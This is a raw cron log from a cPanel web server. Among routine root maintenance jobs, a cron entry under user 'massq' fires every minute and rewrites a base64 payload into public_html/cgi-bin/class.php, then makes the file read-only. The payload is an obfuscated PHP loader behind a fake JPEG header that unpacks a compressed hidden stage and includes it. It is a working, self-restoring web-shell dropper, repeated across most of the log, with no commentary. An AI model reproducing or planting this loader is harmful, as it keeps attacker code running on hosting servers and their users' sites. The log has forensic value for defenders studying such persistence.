Sep  8 06:51:01 server CROND[9424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:52:02 server CROND[9893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:52:02 server CROND[9894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:52:02 server CROND[9895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:53:01 server CROND[10330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:53:01 server CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:53:01 server CROND[10331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:54:01 server CROND[10716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:54:01 server CROND[10720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:54:01 server CROND[10719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:55:01 server CROND[11111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:55:01 server CROND[11114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:55:01 server CROND[11118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:55:01 server CROND[11120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:55:01 server CROND[11121]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:55:01 server CROND[11117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:55:01 server CROND[11116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:56:01 server CROND[11956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:56:01 server CROND[11957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:56:01 server CROND[11958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:57:01 server CROND[12316]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:57:01 server CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:57:01 server CROND[12318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:57:01 server CROND[12319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:58:01 server CROND[12816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:58:01 server CROND[12817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:58:01 server CROND[12820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:59:01 server CROND[13183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:59:01 server CROND[13184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:59:01 server CROND[13186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:00:01 server CROND[13561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:00:01 server CROND[13563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:00:01 server CROND[13562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:00:01 server CROND[13564]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:00:01 server CROND[13572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:00:01 server CROND[13576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:00:01 server CROND[13577]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 07:00:01 server CROND[13578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:00:01 server CROND[13575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:01:01 server CROND[14423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:01:01 server CROND[14424]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 07:01:01 server CROND[14425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:01:01 server CROND[14426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:01:01 server run-parts(/etc/cron.hourly)[14424]: starting 0anacron
Sep  8 07:01:01 server run-parts(/etc/cron.hourly)[14444]: finished 0anacron
Sep  8 07:02:01 server CROND[14807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:02:01 server CROND[14808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:02:01 server CROND[14809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:03:01 server CROND[15280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:03:01 server CROND[15281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:03:01 server CROND[15282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:04:01 server CROND[15652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
